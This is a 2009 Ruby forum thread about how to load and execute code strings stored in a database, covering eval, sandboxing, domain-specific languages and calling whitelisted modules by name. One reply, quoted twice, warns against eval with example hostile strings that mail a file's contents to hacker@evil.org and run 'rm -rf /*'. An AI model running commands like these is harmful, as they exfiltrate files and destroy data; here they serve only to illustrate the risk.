Hi,
Sometime ago there was a discussion about loading & running code held in a database and there were some adverse comments about security etc..
Was the method based on eval, or are there other ways to load and execute from a string of code stored in a database?
Paul F Fraser
I guess you could sandbox it? There are Ruby sandboxes out there...
Still not 100% protection I guess, but better than eval any day...
Greetz!
···
2009/8/10 Paul F Fraser <paulf@a2zliving.com>
Hi,
Sometime ago there was a discussion about loading & running code held in a
database and there were some adverse comments about security etc..
Was the method based on eval, or are there other ways to load and execute
from a string of code stored in a database?
Paul F Fraser
Fabian Streitel wrote:
I guess you could sandbox it? There are Ruby sandboxes out there...
Still not 100% protection I guess, but better than eval any day...
_why's sandbox looks to be pretty good, but it requires you to rebuild
the ruby interpreter from source with a small patch.
Depending on your application, it may be better to parse some
domain-specific language rather than ruby. Look at liquidmarkup.org for
an example.
Another solution is to let the user choose between N trusted pieces of
code to execute, by storing the name of a method or module in the
database. This is pretty safe:
module Snippets
module Foo
def self.run
puts "bah!"
end
end
end
modname = "Foo" # from untrusted source, e.g. db
Snippets.const_get(modname).run
···
--
Posted via http://www.ruby-forum.com/\.
Brian Candler wrote:
Fabian Streitel wrote:
I guess you could sandbox it? There are Ruby sandboxes out there...
Still not 100% protection I guess, but better than eval any day...
_why's sandbox looks to be pretty good, but it requires you to rebuild the ruby interpreter from source with a small patch.Depending on your application, it may be better to parse some domain-specific language rather than ruby. Look at liquidmarkup.org for an example.
Another solution is to let the user choose between N trusted pieces of code to execute, by storing the name of a method or module in the database. This is pretty safe:
module Snippets
module Foo
def self.run
puts "bah!"
end
end
endmodname = "Foo" # from untrusted source, e.g. db
Snippets.const_get(modname).run
My question is a little more basic (and dumb)
I have a string containing code from a db.
Forgetting for the moment, security, what do I do with the string to have the code available in a running ruby (jruby) application, as I can do with a normal load or require?
Thanks,
Paul
Paul F Fraser wrote:
My question is a little more basic (and dumb)
I have a string containing code from a db.
Forgetting for the moment, security, what do I do with the string to
have the code available in a running ruby (jruby) application, as I can
do with a normal load or require?
str = "puts 'ha ha ha'"
eval(str)
But this is enormously risky, unless you 100% trust all users who have
the ability to write to that database column. Consider:
str = "File.delete('/any/file')"
str = "system('cat /any/file | mail hacker@evil.org')"
str = "system('rm -rf /*')"
···
--
Posted via http://www.ruby-forum.com/\.
Brian Candler wrote:
Paul F Fraser wrote:
My question is a little more basic (and dumb)
I have a string containing code from a db.
Forgetting for the moment, security, what do I do with the string to
have the code available in a running ruby (jruby) application, as I can
do with a normal load or require?
str = "puts 'ha ha ha'"
eval(str)But this is enormously risky, unless you 100% trust all users who have the ability to write to that database column. Consider:
str = "File.delete('/any/file')"
str = "system('cat /any/file | mail hacker@evil.org')"
str = "system('rm -rf /*')"
Thanks, Brian,
I have tried to locate in the ruby source, what ruby does with a ruby file after it loads it with require or load, but the src became a little obtuse.
Does require use eval, or what ruby technique is used to incorporate the required code into the system?
Paul
Paul F Fraser wrote:
I have tried to locate in the ruby source, what ruby does with a ruby
file after it loads it with require or load, but the src became a little
obtuse.
Does require use eval, or what ruby technique is used to incorporate
the required code into the system?
load("file.rb") is pretty much the same as eval(File.read("file.rb"))
The source is a bit hard to follow, but ultimately one calls
rb_compile_file and the other calls rb_compile_string, and both call
yycompile in parse.c
(I'm looking at 1.8.6 source)
···
--
Posted via http://www.ruby-forum.com/\.
Brian Candler wrote:
load("file.rb") is pretty much the same as eval(File.read("file.rb"))
... and incidentally, there are several examples of programs which load
a source file in the second way, so that they can modify it first. Look
at 'rackup' in the Rack distribution, or for a more mind-bending
experience, Camping.
···
--
Posted via http://www.ruby-forum.com/\.
Brian Candler wrote:
Brian Candler wrote:
load("file.rb") is pretty much the same as eval(File.read("file.rb"))
... and incidentally, there are several examples of programs which load a source file in the second way, so that they can modify it first. Look at 'rackup' in the Rack distribution, or for a more mind-bending experience, Camping.
Thanks again, Brian,
Excellent explanation.
Paul